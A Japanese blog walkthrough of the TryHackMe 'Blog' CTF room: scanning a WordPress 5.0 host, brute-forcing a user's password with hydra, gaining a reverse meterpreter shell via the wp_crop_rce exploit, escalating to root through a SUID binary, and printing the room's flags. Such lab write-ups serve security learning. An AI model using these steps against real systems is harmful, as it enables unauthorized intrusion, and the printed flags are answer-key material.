Go to Qiita Advent Calendar 2024 Top
LoginSignup
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

@kk0128

【TryHackMe】Blog：Walkthrough

Posted at

概要

TryHackMe「Blog」のWalkthroughです。

Task1

Q1.What version of the above CMS was being used?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A -p- 10.10.145.173 -oN nmap_result
PORT      STATE    SERVICE     VERSION
22/tcp    open     ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
|   256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_  256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
80/tcp    open     http        Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.0
|_http-title: Billy Joel's IT Blog – The IT blog
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp   open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open     netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
36333/tcp filtered unknown
52872/tcp filtered unknown
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: blog
|   NetBIOS computer name: BLOG\x00
|   Domain name: \x00
|   FQDN: blog
|_  System time: 2024-11-01T08:37:04+00:00
|_nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb2-time: 
|   date: 2024-11-01T08:37:04
|_  start_date: N/A

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.6p1
80 http Apache httpd 2.4.29
139 smb Samba smbd 3.X - 4.X
445 smb Samba smbd 4.7.6-Ubuntu

80番ポートにアクセスします。

image.png

/wp-admin/パスや、フッターからWordpressの使用を確認できました。

image.png

wpscanで列挙します。

$ wpscan --url http://blog.thm -e --api-token <token>

[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.thm/feed/, <generator>https://wordpress.org/?v=5.0</generator>
 |  - http://blog.thm/comments/feed/, <generator>https://wordpress.org/?v=5.0</generator>

バージョン5.0だと分かりました。

A.5.0

Q2.What CMS was Billy using?

A.Wordpress

Q3.Where was user.txt found?

Hint.Not where you think!

WPScanの結果から脆弱性情報と複数のアカウントを確認できました。

[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://10.10.44.140/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.0'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://10.10.44.140/, Match: 'WordPress 5.0'
 |
 | [!] 70 vulnerabilities identified:
 
[!] Title: WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution
 |     Fixed in: 5.0.1
 |     References:
 |      - https://wpscan.com/vulnerability/1a693e57-f99c-4df6-93dd-0cdc92fd0526
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8943
 |      - https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
 |      - https://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce
 
[i] User(s) Identified:

[+] kwheel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] bjoel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Karen Wheeler
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

[+] Billy Joel
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 2
 | Requests Remaining: 23

author以上の権限を持つアカウントの認証情報を得られれば、RCE出来そうです。

SMBの列挙をします。

$ enum4linux -a blog.thm
 ===================================( Share Enumeration on blog.thm )===================================
                                                                                                           
                                                                                                           
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        BillySMB        Disk      Billy's local SMB Share
        IPC$            IPC       IPC Service (blog server (Samba, Ubuntu))

BillySMBという共有名を発見しました。
SMBに接続すると複数のファイルを確認できたので、全てダウンロードします。

smb: \> dir
  .                                   D        0  Tue May 26 14:17:05 2020
  ..                                  D        0  Tue May 26 13:58:23 2020
  Alice-White-Rabbit.jpg              N    33378  Tue May 26 14:17:01 2020
  tswift.mp4                          N  1236733  Tue May 26 14:13:45 2020
  check-this.png                      N     3082  Tue May 26 14:13:43 2020

                15413192 blocks of size 1024. 9789364 blocks available

check-this.pngはQRコードになっており、読み込むとBilly Joelというアーティストの楽曲が出てきました。

image.png

その他有益な情報は得られませんでした。

kwheelのパスワードをブルートフォースで特定します。

$ hydra -f -l kwheel -P /usr/share/wordlists/rockyou.txt blog.thm http-post-form "/wp-login.php:log=kwheel&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.thm%2Fwp-admin%2F&testcookie=1:F=The password" -t 40

[80][http-post-form] host: blog.thm   login: kwheel   password: cutiepie1

パスワードが判明し、kwheelユーザーでログインに成功しました。

image.png

Metasploitのモジュールを利用してRCEを試みます。

msf6 exploit(multi/http/wp_crop_rce) > show options

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   cutiepie1        yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][.
                                         ..]
   RHOSTS     blog.thm         yes       The target host(s), see https://docs.metasploit.com/docs/
                                         using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THEME_DIR                   no        The WordPress theme dir name (disable theme auto-detectio
                                         n if provided)
   USERNAME   kwheel           yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.6.55.144      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress

www-dataの権限取得に成功しました。

meterpreter > ls
Listing: /var/www/wordpress
===========================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100640/rw-r-----  235    fil   2020-05-28 08:15:42 -0400  .htaccess
100640/rw-r-----  235    fil   2020-05-27 23:44:26 -0400  .htaccess_backup
100644/rw-r--r--  1112   fil   2024-11-02 01:28:49 -0400  FreIMtquvc.php

/home/bjoel/user.txtは偽のユーザーフラグファイルでした。

meterpreter > cat /home/bjoel/user.txt
You won't find what you're looking for here.

TRY HARDER

SUIDの検索をすると、/usr/sbin/checkerを発見しました。

$ find / -perm -u=s -type f 2>/dev/null

(省略)

/usr/sbin/checker

実行ファイルをダウンロードしGhidraでmain関数の処理を確認します。

image.png

undefined8 main(void)

{
  char *pcVar1;
  
  pcVar1 = getenv("admin");
  if (pcVar1 == (char *)0x0) {
    puts("Not an Admin");
  }
  else {
    setuid(0);
    system("/bin/bash");
  }
  return 0;
}

getenv("admin")で環境変数adminの値を取得し、0の場合、Not an Admin文字列を返し、それ以外はuidを0(root)に設定し、シェルを起動しています。

なので、環境変数を設定します。

$ export admin=1

設定後、/usr/sbin/checkerを実行するとroot権限を取得できました。

$ /usr/sbin/checker
/usr/sbin/checker
root@blog:/etc# whoami
whoami
root
root@blog:/etc# id
id
uid=0(root) gid=33(www-data) groups=33(www-data)

ユーザーフラグを検索します。

$ find / -name *user.txt* 2>/dev/null
/home/bjoel/user.txt
/media/usb/user.txt

A./media/usb/user.txt

Q4.user.txt

/media/usb/user.txtからユーザーフラグを入手できました。

/media/usb/user.txt
c8421899aae571f7af486492b71a8ab7

A.c8421899aae571f7af486492b71a8ab7

Q5.root.txt

/root/root.txtからルートフラグを入手できました。

/root/root.txt
9a0b2b618bef9bfa7ac28c1353d9f318

A.9a0b2b618bef9bfa7ac28c1353d9f318

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
Sign upLogin
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?